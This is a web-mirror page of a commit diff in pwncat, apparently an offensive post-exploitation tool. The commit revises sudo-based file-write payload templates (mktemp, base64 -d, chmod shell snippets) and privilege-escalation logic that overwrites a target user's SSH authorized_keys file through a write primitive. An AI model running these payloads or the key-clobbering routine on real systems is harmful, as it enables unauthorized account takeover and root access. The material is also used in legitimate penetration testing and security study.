Saverr/pwncat
1
0
Fork 0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00
Code Projects Releases Wiki Activity

Tested authorized_keys clobbering with only a file-write primitive

Browse Source
This commit is contained in:
Caleb Stewart 2020-05-13 17:51:39 -04:00
parent 38d16794fe
commit b9f3a572a7
2 changed files with 12 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
data/gtfobins.json
View File

@ -55,14 +55,20 @@
{
"type": "write",
"stream": "print",
"payload": "TF=$({mktemp}); {cat} - > $TF; {command}; rm -f $TF",
// This is weird because under the case where we are running w/ sudo,
// we need to ask for the password first. The first "{command}" will
// ask for the sudo password, then fail to copy. The second "{command}"
// will not ask for the sudo password, and then the copy will succeed.
// Without sudo, the first command will simply fail, and the second
// will succeed. This is the same for the other `cp` payload below.
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
"args": ["$TF", "{lfile}"],
"exit": "{ctrl_d}"
},
{
"type": "write",
"stream": "base64",
"payload": "TF=$({mktemp}); {base64} -d > $TF; {command}; rm -f $TF",
"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
"args": ["$TF", "{lfile}"],
"exit": "{ctrl_d}"
}

8
pwncat/privesc/__init__.py
View File

@ -22,7 +22,7 @@ from pwncat import util
# privesc_methods = [SetuidMethod, SuMethod]
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
# privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
privesc_methods = [SuMethod, SudoMethod, SetuidMethod]
privesc_methods = [SuMethod, SudoMethod]
class Finder:
@ -160,7 +160,7 @@ class Finder:
for tech in found_techniques:
if (
tech.user == target_user
and Capability.READ in tech.capabilities
and Capability.WRITE in tech.capabilities
):
try:
tech.method.write_file(filename, data, tech)
@ -512,9 +512,9 @@ class Finder:
)
util.warn(f"however, we do have a writer.")
response = confirm(
"would you like to clobber their authorized keys?", suffix="(y/N)"
"would you like to clobber their authorized keys? ", suffix="(y/N) "
)
if response.lower() != "y":
if not response:
raise PrivescError("user aborted key clobbering")
# If we don't already know a private key, then we need a writer